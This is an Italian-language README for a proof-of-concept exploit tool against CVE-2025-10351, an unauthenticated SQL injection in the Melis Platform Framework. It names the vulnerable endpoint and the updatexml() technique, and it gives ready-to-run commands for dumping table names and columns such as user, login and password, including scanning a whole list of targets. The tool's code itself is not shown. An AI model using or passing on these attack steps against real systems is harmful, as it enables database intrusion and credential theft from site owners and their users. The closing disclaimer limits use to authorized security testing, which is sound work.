
Exploit per CVE-2025-10351. SQL Injection su Melis Platform Framework
POC per CVE-2025-10351: Una vulnerabilità di SQL Injection non autenticata che interessa un endpoint specifico nel Melis Platform Framework.
Questo POC prende di mira una vulnerabilità di SQL injection basata su errori non autenticata nell'endpoint:
melis/MelisCms/PageEdition/getTinyTemplates?idPage=
Sfrutta updatexml() in MySQL per estrarre:
Rileva anche possibili vettori di SQLi basata su tempo per ulteriore sfruttamento manuale.
Installa le dipendenze con:
pip3 install -r requirements.txt
python3 CVE-2025-10351-POC.py -u http://target.com -p 80
python3 CVE-2025-10351-POC.py -l targets.txt
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug
| Argument | Description |
|---|---|
-u | URL di destinazione |
-p | Porta (80, 443, ecc.) |
-l | File contenente una lista di URL |
-s | Tempo di attesa per test basati sul tempo (default: 1s) |
-at | Scarica tutti i nomi delle tabelle |
-t | Specifica il nome della tabella |
-ac | Scarica tutte le colonne della tabella specificata |
-c | Elenco separato da virgole di colonne da scaricare |
--proxy | Burp Proxy http://127.0.0.1:8080 |
--insecure | Disabilita i controlli TLS quando si utilizzano connessioni proxy |
--cookie | Cookie per richieste autenticate |
--debug | Modalità debug |
tables_extracted.txt<table_name>_data.txtQuesto documento è destinato esclusivamente a test di sicurezza autorizzati e mitigazione. Non utilizzare il PoC o i passaggi di riproduzione contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso di test. L'autore non è responsabile per un uso improprio.
Realizzato con ❤️ da Manuel Iván San Martín Castillo